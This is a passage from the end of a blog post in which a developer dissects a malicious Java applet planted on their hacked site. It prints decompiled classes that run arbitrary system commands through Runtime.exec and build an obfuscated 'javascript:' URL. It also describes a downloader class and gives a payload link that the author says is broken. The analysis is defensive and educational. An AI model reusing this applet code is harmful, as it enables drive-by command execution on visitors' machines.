<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> <span style="color: #0000ff">class</span> c_ed</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span> {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span>     c_ed()</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span>     {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>     <span style="color: #0000ff">public</span> void ed(String s, String s1, Applet applet)</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>     {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>         try</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>         {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>             c_js c_js1 = <span style="color: #0000ff">new</span> c_js();</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>             c_de c_de1 = <span style="color: #0000ff">new</span> c_de();</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>             <span style="color: #0000ff">int</span> i = 0;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>             do</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>             {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>                 <span style="color: #0000ff">if</span>(i &gt;= 5)</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>                     <span style="color: #0000ff">break</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span>                 <span style="color: #0000ff">if</span>(c_de1.de(s, s1))</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>                 {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>                     Process process = <span style="color: #0000ff">null</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span>                     process = Runtime.getRuntime().<span style="color: #0000ff">exec</span>(s1);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>                     <span style="color: #0000ff">if</span>(process != <span style="color: #0000ff">null</span>)</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span>                     {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>                         c_js1.js(&quot;JSM_onLoad&quot;, applet);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>                         <span style="color: #0000ff">break</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>                     }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>                 }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>                 i++;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>             } <span style="color: #0000ff">while</span>(<span style="color: #0000ff">true</span>);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>         }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>         catch(<span style="color: #0000ff">Exception</span> <span style="color: #0000ff">exception</span>) { }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span>     }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  35:</span> }</pre>
</p></div>
</div>
<p>c_js.java</p>
<div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">
<div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> import java.applet.Applet;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span> import java.applet.AppletContext;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> import java.net.URL;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span> <span style="color: #0000ff">class</span> c_js</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span> {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     c_js()</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>     {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>     }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>     <span style="color: #0000ff">public</span> void js(String s, Applet applet)</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>     {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>         String s1 = &quot;vascri&quot;;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>         try</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>         {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>             applet.getAppletContext().showDocument(<span style="color: #0000ff">new</span> URL((<span style="color: #0000ff">new</span> StringBuilder()).append(&quot;ja&quot;).append(s1).append(&quot;pt:&quot;).append(s).append(&quot;();&quot;).toString()));</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>         }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>         catch(<span style="color: #0000ff">Exception</span> <span style="color: #0000ff">exception</span>) { }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>     }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span> }</pre>
</p></div>
</div>
<p>&#160;</p>
<p>ok, c_js executes a javascript function back on the browser, where the varable ’s’ is a function.&#160; I like the way they break up “ja-vascri-pt:”</p>
<p>c_ed calls the javascript function JSM_onLoad&#160; (this is in that last javascript file I showed, the one with the poetry on the bottom) and executes it using c_js.</p>
<p>c_de, I could be missing something, but it looks like that code can download near anything.&#160; Kind of scary that one.</p>
<p>c_gP, I will need a Java expert for that.&#160; Completely dumbfounds me right now, but I don’t have a good Java environment to play with right now to try it out. (I’m working on that, but it is late).</p>
<p>a, this one is the entry point for the applet.&#160; It is easy to see the link in there, it comes out to: [http://dl.dropbox.com/u/41185898/a.gif] Which is a broaken link (but I was getting excited there).</p>
<h3></h3>
<h3>Where did this go?</h3>
<p>OK, I spent a couple of hours on this, part of that is writing this up, so this is kind of a mad dash.&#160; But it looks like the point was to load random images onto the page.&#160; But someone else can look that up.</p>
<p>Now the rest of the ethical delima: should I have posted this?&#160; Personally I think there are valuable things to learn from reading code like this.&#160; And it is always good to know what the “other side” is doing.&#160; But is posting the code more harm than good?</p>
<p>Tell me what you think.&#160; If you convince me I did wrong, some of this may go away.</p>
<img src="http://feeds.feedburner.com/~r/ElegantCode/~4/_vIjiaErp80" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://elegantcode.com/2012/04/10/getting-hacked-and-seven-levels-of-indirection/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		<feedburner:origLink>http://elegantcode.com/2012/04/10/getting-hacked-and-seven-levels-of-indirection/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=getting-hacked-and-seven-levels-of-indirection</feedburner:origLink></item>
	</channel>
</rss>

